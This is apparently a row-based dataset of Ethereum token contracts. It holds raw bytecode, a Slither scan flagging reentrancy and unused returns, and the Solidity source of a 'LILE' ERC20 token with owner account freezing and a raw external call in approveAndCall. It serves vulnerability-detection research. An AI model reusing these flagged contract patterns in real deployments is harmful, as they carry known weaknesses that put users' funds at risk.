f1673ffffffffffffffffffffffffffffffffffffffff161461094c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094390612f7a565b60405180910390fd5b6000811161095957600080fd5b610988606461097a83683635c9adc5dea00000611d4090919063ffffffff16565b611dbb90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d2611476565b73ffffffffffffffffffffffffffffffffffffffff16146109f257600080fd5b6000479050610a0081611e05565b50565b6000610a4d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e71565b9050919050565b610a5c611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae090612f7a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610baf611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3390612f7a565b60405180910390fd5b683635c9adc5dea00000600f81905550683635c9adc5dea00000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f534849424c494e47000000000000000000000000000000000000000000000000815250905090565b6000610cd8610cd1611476565b8484611649565b6001905092915050565b610cea611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6e90612f7a565b60405180910390fd5b60008111610d8457600080fd5b610db36064610da583683635c9adc5dea00000611d4090919063ffffffff16565b611dbb90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfd611476565b73ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b6000610e2830610a03565b9050610e3381611edf565b50565b610e3e611476565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ecb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec290612f7a565b60405180910390fd5b600e60149054906101000a900460ff1615610f1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f129061301a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fab30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061147e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff157600080fd5b505afa158015611005573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110299190612907565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561108b57600080fd5b505afa15801561109f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c39190612907565b6040518363ffffffff1660e01b81526004016110e0929190612dca565b602060405180830381600087803b1580156110fa57600080fd5b505af115801561110e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111329190612907565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111bb30610a03565b6000806111c6610c5e565b426040518863ffffffff1660e01b81526004016111e896959493929190612e1c565b6060604051808303818588803b15801561120157600080fd5b505af1158015611215573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061123a9190612ab3565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506112a360646112956002683635c9adc5dea00000611d4090919063ffffffff16565b611dbb90919063ffffffff16565b600f819055506112d960646112cb6004683635c9adc5dea00000611d4090919063ffffffff16565b611dbb90919063ffffffff16565b6010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611399929190612df3565b602060405180830381600087803b1580156113b357600080fd5b505af11580156113c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113eb9190612a61565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e590612ffa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561155e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155590612f1a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161163c919061303a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090612fba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090612eba565b60405180910390fd5b6000811161176c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176390612f9a565b60405180910390fd5b6000600a81905550600a600b81905550611784610c5e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117f257506117c2610c5e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ccc57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561189b5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118a457600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561194f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119a55750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119bd5750600e60179054906101000a900460ff165b15611afb57600f54811115611a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fe90612eda565b60405180910390fd5b60105481611a1484610a03565b611a1e9190613170565b1115611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5690612fda565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611aaa57600080fd5b601e42611ab79190613170565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ba65750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611bfc5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c12576000600a81905550600a600b819055505b6000611c1d30610a03565b9050600e60159054906101000a900460ff16158015611c8a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca25750600e60169054906101000a900460ff165b15611cca57611cb081611edf565b60004790506000811115611cc857611cc747611e05565b5b505b505b611cd78383836121d9565b505050565b6000838311158290611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b9190612e98565b60405180910390fd5b5060008385611d339190613251565b9050809150509392505050565b600080831415611d535760009050611db5565b60008284611d6191906131f7565b9050828482611d7091906131c6565b14611db0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da790612f5a565b60405180910390fd5b809150505b92915050565b6000611dfd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121e9565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611e6d573d6000803e3d6000fd5b5050565b6000600854821115611eb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eaf90612efa565b60405180910390fd5b6000611ec261224c565b9050611ed78184611dbb90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f3d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611f6b5781602001602082028036833780820191505090505b5090503081600081518110611fa9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561204b57600080fd5b505afa15801561205f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120839190612907565b816001815181106120bd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061212430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461147e565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612188959493929190613055565b600060405180830381600087803b1580156121a257600080fd5b505af11580156121b6573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6121e4838383612277565b505050565b60008083118290612230576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122279190612e98565b60405180910390fd5b506000838561223f91906131c6565b9050809150509392505050565b6000806000612259612442565b915091506122708183611dbb90919063ffffffff16565b9250505090565b600080600080600080612289876124a4565b9550955095509550955095506122e786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123c8816125b4565b6123d28483612671565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161242f919061303a565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea000009050612478683635c9adc5dea00000600854611dbb90919063ffffffff16565b82101561249757600854683635c9adc5dea000009350935050506124a0565b81819350935050505b9091565b60008060008060008060008060006124c18a600a54600b546126ab565b92509250925060006124d161224c565b905060008060006124e48e878787612741565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061254e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cdc565b905092915050565b60008082846125659190613170565b9050838110156125aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a190612f3a565b60405180910390fd5b8091505092915050565b60006125be61224c565b905060006125d58284611d4090919063ffffffff16565b905061262981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126868260085461250c90919063ffffffff16565b6008819055506126a18160095461255690919063ffffffff16565b6009819055505050565b6000806000806126d760646126c9888a611d4090919063ffffffff16565b611dbb90919063ffffffff16565b9050600061270160646126f3888b611d4090919063ffffffff16565b611dbb90919063ffffffff16565b9050600061272a8261271c858c61250c90919063ffffffff16565b61250c90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061275a8589611d4090919063ffffffff16565b905060006127718689611d4090919063ffffffff16565b905060006127888789611d4090919063ffffffff16565b905060006127b1826127a3858761250c90919063ffffffff16565b61250c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127dd6127d8846130ef565b6130ca565b905080838252602082019050828560208602820111156127fc57600080fd5b60005b8581101561282c57816128128882612836565b8452602084019350602083019250506001810190506127ff565b5050509392505050565b6000813590506128458161372d565b92915050565b60008151905061285a8161372d565b92915050565b600082601f83011261287157600080fd5b81356128818482602086016127ca565b91505092915050565b60008135905061289981613744565b92915050565b6000815190506128ae81613744565b92915050565b6000813590506128c38161375b565b92915050565b6000815190506128d88161375b565b92915050565b6000602082840312156128f057600080fd5b60006128fe84828501612836565b91505092915050565b60006020828403121561291957600080fd5b60006129278482850161284b565b91505092915050565b6000806040838503121561294357600080fd5b600061295185828601612836565b925050602061296285828601612836565b9150509250929050565b60008060006060848603121561298157600080fd5b600061298f86828701612836565b93505060206129a086828701612836565b92505060406129b1868287016128b4565b9150509250925092565b600080604083850312156129ce57600080fd5b60006129dc85828601612836565b92505060206129ed858286016128b4565b9150509250929050565b600060208284031215612a0957600080fd5b600082013567ffffffffffffffff811115612a2357600080fd5b612a2f84828501612860565b91505092915050565b600060208284031215612a4a57600080fd5b6000612a588482850161288a565b91505092915050565b600060208284031215612a7357600080fd5b6000612a818482850161289f565b91505092915050565b600060208284031215612a9c57600080fd5b6000612aaa848285016128b4565b91505092915050565b600080600060608486031215612ac857600080fd5b6000612ad6868287016128c9565b9350506020612ae7868287016128c9565b9250506040612af8868287016128c9565b9150509250925092565b6000612b0e8383612b1a565b60208301905092915050565b612b2381613285565b82525050565b612b3281613285565b82525050565b6000612b438261312b565b612b4d818561314e565b9350612b588361311b565b8060005b83811015612b89578151612b708882612b02565b9750612b7b83613141565b925050600181019050612b5c565b5085935050505092915050565b612b9f81613297565b82525050565b612bae816132da565b82525050565b6000612bbf82613136565b612bc9818561315f565b9350612bd98185602086016132ec565b612be281613426565b840191505092915050565b6000612bfa60238361315f565b9150612c0582613437565b604082019050919050565b6000612c1d60198361315f565b9150612c2882613486565b602082019050919050565b6000612c40602a8361315f565b9150612c4b826134af565b604082019050919050565b6000612c6360228361315f565b9150612c6e826134fe565b604082019050919050565b6000612c86601b8361315f565b9150612c918261354d565b602082019050919050565b6000612ca960218361315f565b9150612cb482613576565b604082019050919050565b6000612ccc60208361315f565b9150612cd7826135c5565b602082019050919050565b6000612cef60298361315f565b9150612cfa826135ee565b604082019050919050565b6000612d1260258361315f565b9150612d1d8261363d565b604082019050919050565b6000612d35601a8361315f565b9150612d408261368c565b602082019050919050565b6000612d5860248361315f565b9150612d63826136b5565b604082019050919050565b6000612d7b60178361315f565b9150612d8682613704565b602082019050919050565b612d9a816132c3565b82525050565b612da9816132cd565b82525050565b6000602082019050612dc46000830184612b29565b92915050565b6000604082019050612ddf6000830185612b29565b612dec6020830184612b29565b9392505050565b6000604082019050612e086000830185612b29565b612e156020830184612d91565b9392505050565b600060c082019050612e316000830189612b29565b612e3e6020830188612d91565b612e4b6040830187612ba5565b612e586060830186612ba5565b612e656080830185612b29565b612e7260a0830184612d91565b979650505050505050565b6000602082019050612e926000830184612b96565b92915050565b60006020820190508181036000830152612eb28184612bb4565b905092915050565b60006020820190508181036000830152612ed381612bed565b9050919050565b60006020820190508181036000830152612ef381612c10565b9050919050565b60006020820190508181036000830152612f1381612c33565b9050919050565b60006020820190508181036000830152612f3381612c56565b9050919050565b60006020820190508181036000830152612f5381612c79565b9050919050565b60006020820190508181036000830152612f7381612c9c565b9050919050565b60006020820190508181036000830152612f9381612cbf565b9050919050565b60006020820190508181036000830152612fb381612ce2565b9050919050565b60006020820190508181036000830152612fd381612d05565b9050919050565b60006020820190508181036000830152612ff381612d28565b9050919050565b6000602082019050818103600083015261301381612d4b565b9050919050565b6000602082019050818103600083015261303381612d6e565b9050919050565b600060208201905061304f6000830184612d91565b92915050565b600060a08201905061306a6000830188612d91565b6130776020830187612ba5565b81810360408301526130898186612b38565b90506130986060830185612b29565b6130a56080830184612d91565b9695505050505050565b60006020820190506130c46000830184612da0565b92915050565b60006130d46130e5565b90506130e0828261331f565b919050565b6000604051905090565b600067ffffffffffffffff82111561310a576131096133f7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061317b826132c3565b9150613186836132c3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131bb576131ba613399565b5b828201905092915050565b60006131d1826132c3565b91506131dc836132c3565b9250826131ec576131eb6133c8565b5b828204905092915050565b6000613202826132c3565b915061320d836132c3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561324657613245613399565b5b828202905092915050565b600061325c826132c3565b9150613267836132c3565b92508282101561327a57613279613399565b5b828203905092915050565b6000613290826132a3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132e5826132c3565b9050919050565b60005b8381101561330a5780820151818401526020810190506132ef565b83811115613319576000848401525b50505050565b61332882613426565b810181811067ffffffffffffffff82111715613347576133466133f7565b5b80604052505050565b600061335b826132c3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561338e5761338d613399565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61373681613285565b811461374157600080fd5b50565b61374d81613297565b811461375857600080fd5b50565b613764816132c3565b811461376f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d20e46611502a82e9feb6866b588920cbee9a389be1a540c3cd89297c851908a64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,730
0x5b2988f2d77c38b46a753ea09a4f6bf726e07e34
pragma solidity ^0.4.16; // LILE Token Smart contract based on the full ERC20 Token standard // https://github.com/ethereum/EIPs/issues/20 // Verified Status: ERC20 Verified Token // LILE Symbol: LILE contract LILE1Token { /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * LILE tokens Math operations with safety checks to avoid unnecessary conflicts */ library ABCMaths { // Saftey Checks for Multiplication Tasks function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } // Saftey Checks for Divison Tasks function div(uint256 a, uint256 b) internal constant returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } // Saftey Checks for Subtraction Tasks function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } // Saftey Checks for Addition Tasks function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract Ownable { address public owner; address public newOwner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } // validates an address - currently only checks that it isn&#39;t null modifier validAddress(address _address) { require(_address != 0x0); _; } function transferOwnership(address _newOwner) onlyOwner { if (_newOwner != address(0)) { owner = _newOwner; } } function acceptOwnership() { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; } event OwnershipTransferred(address indexed _from, address indexed _to); } contract LILEStandardToken is LILE1Token, Ownable { using ABCMaths for uint256; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function freezeAccount(address target, bool freeze) onlyOwner { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function transfer(address _to, uint256 _value) returns (bool success) { if (frozenAccount[msg.sender]) return false; require( (balances[msg.sender] >= _value) // Check if the sender has enough && (_value > 0) // Don&#39;t allow 0value transfer && (_to != address(0)) // Prevent transfer to 0x0 address && (balances[_to].add(_value) >= balances[_to]) // Check for overflows && (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack //most of these things are not necesary balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (frozenAccount[msg.sender]) return false; require( (allowed[_from][msg.sender] >= _value) // Check allowance && (balances[_from] >= _value) // Check if the sender has enough && (_value > 0) // Don&#39;t allow 0value transfer && (_to != address(0)) // Prevent transfer to 0x0 address && (balances[_to].add(_value) >= balances[_to]) // Check for overflows && (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack //most of these things are not necesary ); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { /* To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */ require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; // Notify anyone listening that this approval done Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract LILE is LILEStandardToken { /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ uint256 constant public decimals = 8; uint256 public totalSupply = 161803398 * 10**8 ; string constant public name = "LILE"; string constant public symbol = "LILE"; function LILE(){ balances[msg.sender] = totalSupply; // Give the creator all initial tokens } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn&#39;t have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b578063313ce5671461029057806370a08231146102bb57806379ba5097146103125780638da5cb5b1461032957806395d89b4114610380578063a9059cbb14610410578063b414d4b614610475578063cae9ca51146104d0578063d4ee1d901461057b578063dd62ed3e146105d2578063e724529c14610649578063f2fde38b14610698575b600080fd5b3480156100f757600080fd5b506101006106db565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610714565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f561089b565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a1565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610d70565b6040518082815260200191505060405180910390f35b3480156102c757600080fd5b506102fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d75565b6040518082815260200191505060405180910390f35b34801561031e57600080fd5b50610327610dbe565b005b34801561033557600080fd5b5061033e610f1d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561038c57600080fd5b50610395610f43565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d55780820151818401526020810190506103ba565b50505050905090810190601f1680156104025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041c57600080fd5b5061045b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f7c565b604051808215151515815260200191505060405180910390f35b34801561048157600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b3565b604051808215151515815260200191505060405180910390f35b3480156104dc57600080fd5b50610561600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506112d3565b604051808215151515815260200191505060405180910390f35b34801561058757600080fd5b50610590611570565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105de57600080fd5b50610633600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611596565b6040518082815260200191505060405180910390f35b34801561065557600080fd5b506106966004803603810190808